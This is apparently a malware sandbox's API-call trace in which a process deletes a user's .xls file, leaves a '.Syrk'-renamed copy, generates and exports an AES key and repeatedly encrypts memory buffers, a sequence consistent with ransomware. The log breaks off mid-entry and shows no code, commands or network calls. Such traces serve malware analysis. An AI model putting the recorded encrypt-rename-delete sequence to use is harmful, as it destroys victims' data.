lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", lpFilePart=0x0) returned 0x46 [0185.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0185.447] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls"), fInfoLevelId=0x0, lpFileInformation=0x264292c | out: lpFileInformation=0x264292c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d58c90, ftCreationTime.dwHighDateTime=0x1d99b2f, ftLastAccessTime.dwLowDateTime=0xbb897a50, ftLastAccessTime.dwHighDateTime=0x1d99cf5, ftLastWriteTime.dwLowDateTime=0xbb897a50, ftLastWriteTime.dwHighDateTime=0x1d99cf5, nFileSizeHigh=0x0, nFileSizeLow=0xe040)) returned 1 [0185.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0185.448] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls")) returned 1 [0188.869] EtwEventActivityIdControl () returned 0x0 [0188.875] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0188.877] EtwEventActivityIdControl () returned 0x0 [0188.878] EtwEventActivityIdControl () returned 0x0 [0188.878] EtwEventActivityIdControl () returned 0x0 [0188.897] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls.syrk")) returned 0x20 [0188.900] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls.syrk")) returned 0x20 [0188.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0188.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls.Syrk", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls.Syrk", lpFilePart=0x0) returned 0x4b [0188.903] EtwEventActivityIdControl () returned 0x0 [0188.904] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0188.905] EtwEventActivityIdControl () returned 0x0 [0188.905] EtwEventActivityIdControl () returned 0x0 [0188.905] EtwEventActivityIdControl () returned 0x0 [0188.956] EtwEventActivityIdControl () returned 0x0 [0188.956] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0188.957] EtwEventActivityIdControl () returned 0x0 [0188.957] EtwEventActivityIdControl () returned 0x0 [0188.957] EtwEventActivityIdControl () returned 0x0 [0188.960] EtwEventActivityIdControl () returned 0x0 [0188.961] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0188.961] EtwEventActivityIdControl () returned 0x0 [0188.961] EtwEventActivityIdControl () returned 0x0 [0188.961] EtwEventActivityIdControl () returned 0x0 [0188.965] EtwEventActivityIdControl () returned 0x0 [0188.966] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0188.966] EtwEventActivityIdControl () returned 0x0 [0188.966] EtwEventActivityIdControl () returned 0x0 [0188.966] EtwEventActivityIdControl () returned 0x0 [0188.969] EtwEventActivityIdControl () returned 0x0 [0188.970] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0188.970] EtwEventActivityIdControl () returned 0x0 [0188.970] EtwEventActivityIdControl () returned 0x0 [0188.970] EtwEventActivityIdControl () returned 0x0 [0188.974] EtwEventActivityIdControl () returned 0x0 [0188.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0188.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2655fac | out: lpFileInformation=0x2655fac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb53f700, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xeb53f700, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xeb565860, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xe064)) returned 1 [0188.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0188.987] GetConsoleOutputCP () returned 0x1b5 [0188.990] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0188.991] GetConsoleOutputCP () returned 0x1b5 [0188.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0188.991] GetConsoleOutputCP () returned 0x1b5 [0188.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0188.991] GetConsoleOutputCP () returned 0x1b5 [0188.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0188.991] GetConsoleOutputCP () returned 0x1b5 [0188.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0188.992] GetConsoleOutputCP () returned 0x1b5 [0188.992] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0188.992] GetConsoleOutputCP () returned 0x1b5 [0188.992] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0188.992] GetConsoleOutputCP () returned 0x1b5 [0188.992] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0188.992] GetConsoleOutputCP () returned 0x1b5 [0188.992] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0188.992] GetConsoleOutputCP () returned 0x1b5 [0188.993] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0188.993] GetConsoleOutputCP () returned 0x1b5 [0188.993] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0188.993] GetConsoleOutputCP () returned 0x1b5 [0188.993] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0188.993] GetConsoleOutputCP () returned 0x1b5 [0188.993] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0188.993] GetConsoleOutputCP () returned 0x1b5 [0188.994] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0188.994] GetConsoleOutputCP () returned 0x1b5 [0188.994] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0188.994] GetConsoleOutputCP () returned 0x1b5 [0188.994] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0188.994] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0188.996] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0188.996] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x266fdcc*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x266fdcc*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0188.998] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0188.998] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d6d6c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x25d6d6c*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0188.999] EtwEventActivityIdControl () returned 0x0 [0188.999] EtwEventActivityIdControl () returned 0x0 [0189.000] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.000] EtwEventActivityIdControl () returned 0x0 [0189.000] EtwEventActivityIdControl () returned 0x0 [0189.000] EtwEventActivityIdControl () returned 0x0 [0189.004] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.005] EtwEventActivityIdControl () returned 0x0 [0189.005] EtwEventActivityIdControl () returned 0x0 [0189.005] EtwEventActivityIdControl () returned 0x0 [0189.008] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x373568) returned 1 [0189.011] CryptGenKey (in: hProv=0x373568, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c69080) returned 1 [0189.011] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.012] CryptExportKey (in: hKey=0x5c69080, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0189.012] CryptExportKey (in: hKey=0x5c69080, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2677a28, pdwDataLen=0x5a2e79c | out: pbData=0x2677a28*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0189.012] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.013] EtwEventActivityIdControl () returned 0x0 [0189.013] EtwEventActivityIdControl () returned 0x0 [0189.013] EtwEventActivityIdControl () returned 0x0 [0189.014] SysStringLen (param_1="") returned 0x8 [0189.014] SysStringLen (param_1="S") returned 0x8 [0189.014] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.015] SysStringLen (param_1="氡贞햘㬒뱐驔歈톹") returned 0x8 [0189.015] SysStringLen (param_1="氡贞햘㬒뱐驔歈톹") returned 0x8 [0189.015] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.015] SysStringLen (param_1="SS") returned 0x8 [0189.015] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.016] SysStringLen (param_1="生ፘ႖ᇻ딒鱞") returned 0x8 [0189.016] SysStringLen (param_1="生ፘ႖ᇻ딒鱞") returned 0x8 [0189.016] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.016] SysStringLen (param_1="SSw") returned 0x8 [0189.016] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.016] SysStringLen (param_1="㾂忂䧷݆⾼꜈䀂瞇") returned 0x8 [0189.016] SysStringLen (param_1="㾂忂䧷݆⾼꜈䀂瞇") returned 0x8 [0189.016] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.016] SysStringLen (param_1="SSwT") returned 0x8 [0189.016] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.016] SysStringLen (param_1="♫帘᰸覙꘱\쿞≾) returned 0x8 [0189.016] SysStringLen (param_1="♫帘᰸覙꘱\쿞≾) returned 0x8 [0189.016] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.017] SysStringLen (param_1="SSwTK") returned 0x8 [0189.017] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.017] SysStringLen (param_1="➔ꑀ艣ఉ닑剺弼ʪ") returned 0x8 [0189.017] SysStringLen (param_1="➔ꑀ艣ఉ닑剺弼ʪ") returned 0x8 [0189.017] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.017] SysStringLen (param_1="SSwTKq") returned 0x8 [0189.017] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.017] SysStringLen (param_1="幎娥ῇᄼ\㕟⊘) returned 0x8 [0189.017] SysStringLen (param_1="幎娥ῇᄼ\㕟⊘) returned 0x8 [0189.017] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.017] SysStringLen (param_1="SSwTKqY") returned 0x8 [0189.017] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.018] SysStringLen (param_1="玲삑訑῟룗㺔") returned 0x8 [0189.018] SysStringLen (param_1="玲삑訑῟룗㺔") returned 0x8 [0189.018] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.018] SysStringLen (param_1="SSwTKqYF") returned 0x8 [0189.018] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.018] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ") returned 0x8 [0189.018] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ") returned 0x8 [0189.018] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ") returned 0x8 [0189.019] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ") returned 0x10 [0189.019] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.020] SysStringLen (param_1="SSwTKqYF0峓㨣瀉꧍ሞ킚㭨") returned 0x10 [0189.020] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.020] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ⫞젃獆㹁俗䂺宮ꋴ") returned 0x10 [0189.020] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ⫞젃獆㹁俗䂺宮ꋴ") returned 0x10 [0189.020] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.020] SysStringLen (param_1="SSwTKqYF0O㨣瀉꧍ሞ킚㭨") returned 0x10 [0189.020] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.020] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ䶠觃\῝円⪎\䫙") returned 0x10 [0189.020] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ䶠觃\῝円⪎\䫙") returned 0x10 [0189.020] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.020] SysStringLen (param_1="SSwTKqYF0Oz瀉꧍ሞ킚㭨") returned 0x10 [0189.020] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.020] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩᆴᶇ䎦凟캂켈") returned 0x10 [0189.020] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩᆴᶇ䎦凟캂켈") returned 0x10 [0189.021] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.021] SysStringLen (param_1="SSwTKqYF0Ozz꧍ሞ킚㭨") returned 0x10 [0189.021] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.021] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ䋐跆口ﰦ攕뢔쎤") returned 0x10 [0189.021] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ䋐跆口ﰦ攕뢔쎤") returned 0x10 [0189.021] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.021] SysStringLen (param_1="SSwTKqYF0OzzLሞ킚㭨") returned 0x10 [0189.021] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.021] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ笒촿뽗䎇ශ髒赫ᑏ") returned 0x10 [0189.021] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ笒촿뽗䎇ශ髒赫ᑏ") returned 0x10 [0189.021] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.021] SysStringLen (param_1="SSwTKqYF0OzzLN킚㭨") returned 0x10 [0189.021] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.022] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ神껭\⛙㿥㊩뢁≐) returned 0x10 [0189.022] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ神껭\⛙㿥㊩뢁≐) returned 0x10 [0189.022] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.022] SysStringLen (param_1="SSwTKqYF0OzzLNI㭨") returned 0x10 [0189.022] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.022] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ墥꒓ó㎚㍑ট") returned 0x10 [0189.022] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩ墥꒓ó㎚㍑ট") returned 0x10 [0189.022] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.022] SysStringLen (param_1="SSwTKqYF0OzzLNIs") returned 0x10 [0189.022] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.022] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐") returned 0x10 [0189.023] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐") returned 0x10 [0189.023] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐") returned 0x10 [0189.023] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐") returned 0x18 [0189.023] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.023] SysStringLen (param_1="SSwTKqYF0OzzLNIsf쏼梁笙蔹쓬岫") returned 0x18 [0189.023] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.023] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐木뱋ദ댣欨ᣖ鶸") returned 0x18 [0189.023] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐木뱋ദ댣欨ᣖ鶸") returned 0x18 [0189.023] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.023] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6梁笙蔹쓬岫") returned 0x18 [0189.023] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.024] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐듌殯啷쭢寸峞") returned 0x18 [0189.024] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐듌殯啷쭢寸峞") returned 0x18 [0189.024] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.024] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6D笙蔹쓬岫") returned 0x18 [0189.024] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.024] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐䪣痁蟨২ꂧ蟐") returned 0x18 [0189.024] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐䪣痁蟨২ꂧ蟐") returned 0x18 [0189.024] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.024] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Da蔹쓬岫") returned 0x18 [0189.024] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.024] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐鏇잲ᑲ猐왿屲鸧") returned 0x18 [0189.024] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐鏇잲ᑲ猐왿屲鸧") returned 0x18 [0189.024] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.025] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dab쓬岫") returned 0x18 [0189.025] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.025] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐ﰿ筷郈\鷞蕓곤겗∲) returned 0x18 [0189.025] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐ﰿ筷郈\鷞蕓곤겗∲) returned 0x18 [0189.025] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.025] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe岫") returned 0x18 [0189.025] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.025] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐炻ဌ砕艊븞ോ") returned 0x18 [0189.025] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐炻ဌ砕艊븞ോ") returned 0x18 [0189.025] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.025] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1岫") returned 0x18 [0189.025] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.025] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐皳䢐뿹쭞㹰㚼韉棼") returned 0x18 [0189.025] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐皳䢐뿹쭞㹰㚼韉棼") returned 0x18 [0189.026] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.026] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1h") returned 0x18 [0189.026] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.026] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫") returned 0x18 [0189.026] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫") returned 0x18 [0189.026] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫") returned 0x18 [0189.026] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫") returned 0x20 [0189.026] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.026] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hg䋎⯯ꑐㄈ땋䡺ຐ") returned 0x20 [0189.026] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.027] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫袭晜覣ꝼꮺ콖汏㳋") returned 0x20 [0189.027] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫袭晜覣ꝼꮺ콖汏㳋") returned 0x20 [0189.027] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.027] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgk⯯ꑐㄈ땋䡺ຐ") returned 0x20 [0189.027] SystemFunction040 